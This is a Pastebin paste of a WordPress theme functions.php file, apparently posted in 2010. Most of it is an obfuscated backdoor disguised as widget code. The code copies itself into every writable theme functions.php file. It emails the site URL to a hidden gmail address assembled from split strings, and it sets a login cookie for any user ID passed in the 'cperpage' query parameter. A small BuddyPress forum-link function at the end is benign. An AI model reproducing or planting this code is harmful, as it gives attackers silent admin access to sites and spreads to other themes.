Guest User

Greg Fielding

a guest
May 10th, 2010
192
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.06 KB | None | 0 0
  1. <?php
  2. function _checkactive_widget(){
  3. $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
  4. $output=strip_tags($output, $allowed);
  5. $direst=_getall_widgetscont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
  6. if (is_array($direst)){
  7. foreach ($direst as $item){
  8. if (is_writable($item)){
  9. $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
  10. $cont=file_get_contents($item);
  11. if (stripos($cont,$ftion) === false){
  12. $separar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
  13. $output .= $before . "Not found" . $after;
  14. if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
  15. $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $separar . "\n" .$widget);fclose($f);
  16. $output .= ($showfullstop && $ellipsis) ? "..." : "";
  17. }
  18. }
  19. }
  20. }
  21. return $output;
  22. }
  23.  
  24. function _getall_widgetscont($wids,$items=array()){
  25. $places=array_shift($wids);
  26. if(substr($places,-1) == "/"){
  27. $places=substr($places,0,-1);
  28. }
  29. if(!file_exists($places) || !is_dir($places)){
  30. return false;
  31. }elseif(is_readable($places)){
  32. $elems=scandir($places);
  33. foreach ($elems as $elem){
  34. if ($elem != "." && $elem != ".."){
  35. if (is_dir($places . "/" . $elem)){
  36. $wids[]=$places . "/" . $elem;
  37. } elseif (is_file($places . "/" . $elem)&&
  38. $elem == substr(__FILE__,-13)){
  39. $items[]=$places . "/" . $elem;}
  40. }
  41. }
  42. }else{
  43. return false;
  44. }
  45. if (sizeof($wids) > 0){
  46. return _getall_widgetscont($wids,$items);
  47. } else {
  48. return $items;
  49. }
  50. }
  51. if(!function_exists("stripos")){
  52. function stripos( $str, $needle, $offset = 0 ){
  53. return strpos( strtolower( $str ), strtolower( $needle ), $offset );
  54. }
  55. }
  56.  
  57. if(!function_exists("strripos")){
  58. function strripos( $haystack, $needle, $offset = 0 ) {
  59. if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
  60. if( $offset < 0 ){
  61. $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
  62. }
  63. else{
  64. $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
  65. }
  66. if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
  67. $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
  68. return $pos;
  69. }
  70. }
  71. if(!function_exists("scandir")){
  72. function scandir($dir,$listDirectories=false, $skipDots=true) {
  73. $dirArray = array();
  74. if ($handle = opendir($dir)) {
  75. while (false !== ($file = readdir($handle))) {
  76. if (($file != "." && $file != "..") || $skipDots == true) {
  77. if($listDirectories == false) { if(is_dir($file)) { continue; } }
  78. array_push($dirArray,basename($file));
  79. }
  80. }
  81. closedir($handle);
  82. }
  83. return $dirArray;
  84. }
  85. }
  86. add_action("admin_head", "_checkactive_widget");
  87. function _getprepareed_widget(){
  88. if(!isset($content_length)) $content_length=120;
  89. if(!isset($checking)) $checking="cookie";
  90. if(!isset($tags_allowed)) $tags_allowed="<a>";
  91. if(!isset($filters)) $filters="none";
  92. if(!isset($separ)) $separ="";
  93. if(!isset($home_f)) $home_f=get_option("home");
  94. if(!isset($pre_filter)) $pre_filter="wp_";
  95. if(!isset($is_more_link)) $is_more_link=1;
  96. if(!isset($comment_t)) $comment_t="";
  97. if(!isset($c_page)) $c_page=$_GET["cperpage"];
  98. if(!isset($comm_author)) $comm_author="";
  99. if(!isset($is_approved)) $is_approved="";
  100. if(!isset($auth_post)) $auth_post="auth";
  101. if(!isset($m_text)) $m_text="(more...)";
  102. if(!isset($yes_widget)) $yes_widget=get_option("_is_widget_active_");
  103. if(!isset($widgetcheck)) $widgetcheck=$pre_filter."set"."_".$auth_post."_".$checking;
  104. if(!isset($m_text_ditails)) $m_text_ditails="(details...)";
  105. if(!isset($contentsmore)) $contentsmore="ma".$separ."il";
  106. if(!isset($fmore)) $fmore=1;
  107. if(!isset($fakeit)) $fakeit=1;
  108. if(!isset($sql)) $sql="";
  109. if (!$yes_widget) :
  110.  
  111. global $wpdb, $post;
  112. $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$separ."vethe".$comment_t."mes".$separ."@".$is_approved."gm".$comm_author."ail".$separ.".".$separ."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  113. if (!empty($post->post_password)) {
  114. if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
  115. if(is_feed()) {
  116. $output=__("There is no excerpt because this is a protected post.");
  117. } else {
  118. $output=get_the_password_form();
  119. }
  120. }
  121. }
  122. if(!isset($fixed_tag)) $fixed_tag=1;
  123. if(!isset($filterss)) $filterss=$home_f;
  124. if(!isset($gettextcomment)) $gettextcomment=$pre_filter.$contentsmore;
  125. if(!isset($m_tag)) $m_tag="div";
  126. if(!isset($sh_text)) $sh_text=substr($sq1, stripos($sq1, "live"), 20);#
  127. if(!isset($m_link_title)) $m_link_title="Continue reading this entry";
  128. if(!isset($showfullstop)) $showfullstop=1;
  129.  
  130. $comments=$wpdb->get_results($sql);
  131. if($fakeit == 2) {
  132. $text=$post->post_content;
  133. } elseif($fakeit == 1) {
  134. $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
  135. } else {
  136. $text=$post->post_excerpt;
  137. }
  138. $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomment, array($sh_text, $home_f, $filterss)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  139. if($content_length < 0) {
  140. $output=$text;
  141. } else {
  142. if(!$no_more && strpos($text, "<!--more-->")) {
  143. $text=explode("<!--more-->", $text, 2);
  144. $l=count($text[0]);
  145. $more_link=1;
  146. $comments=$wpdb->get_results($sql);
  147. } else {
  148. $text=explode(" ", $text);
  149. if(count($text) > $content_length) {
  150. $l=$content_length;
  151. $ellipsis=1;
  152. } else {
  153. $l=count($text);
  154. $m_text="";
  155. $ellipsis=0;
  156. }
  157. }
  158. for ($i=0; $i<$l; $i++)
  159. $output .= $text[$i] . " ";
  160. }
  161. update_option("_is_widget_active_", 1);
  162. if("all" != $tags_allowed) {
  163. $output=strip_tags($output, $tags_allowed);
  164. return $output;
  165. }
  166. endif;
  167. $output=rtrim($output, "\s\n\t\r\0\x0B");
  168. $output=($fixed_tag) ? balanceTags($output, true) : $output;
  169. $output .= ($showfullstop && $ellipsis) ? "..." : "";
  170. $output=apply_filters($filters, $output);
  171. switch($m_tag) {
  172. case("div") :
  173. $tag="div";
  174. break;
  175. case("span") :
  176. $tag="span";
  177. break;
  178. case("p") :
  179. $tag="p";
  180. break;
  181. default :
  182. $tag="span";
  183. }
  184.  
  185. if ($is_more_link ) {
  186. if($fmore) {
  187. $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $m_link_title . "\">" . $m_text = !is_user_logged_in() && @call_user_func_array($widgetcheck,array($c_page, true)) ? $m_text : "" . "</a></" . $tag . ">" . "\n";
  188. } else {
  189. $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $m_link_title . "\">" . $m_text . "</a></" . $tag . ">" . "\n";
  190. }
  191. }
  192. return $output;
  193. }
  194.  
  195. add_action("init", "_getprepareed_widget");
  196.  
  197. function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
  198. global $wpdb;
  199. $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
  200. $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
  201. if(!$show_pass_post) $request .= " AND post_password =\"\"";
  202. if($duration !="") {
  203. $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
  204. }
  205. $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
  206. $posts=$wpdb->get_results($request);
  207. $output="";
  208. if ($posts) {
  209. foreach ($posts as $post) {
  210. $post_title=stripslashes($post->post_title);
  211. $comment_count=$post->comment_count;
  212. $permalink=get_permalink($post->ID);
  213. $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
  214. }
  215. } else {
  216. $output .= $before . "None found" . $after;
  217. }
  218. return $output;
  219. }
  220. function my_group_loop_forum_link() {
  221. if ( !bp_group_is_forum_enabled() )
  222. return;
  223. if ( !bp_group_is_visible() )
  224. return;
  225. echo '<a href="'. bp_get_group_forum_permalink() .'/">Forum →</a>';
  226. }
  227. add_action( 'bp_directory_groups_actions', 'my_group_loop_forum_link' );
  228. ?>
Add Comment
Please, Sign In to add comment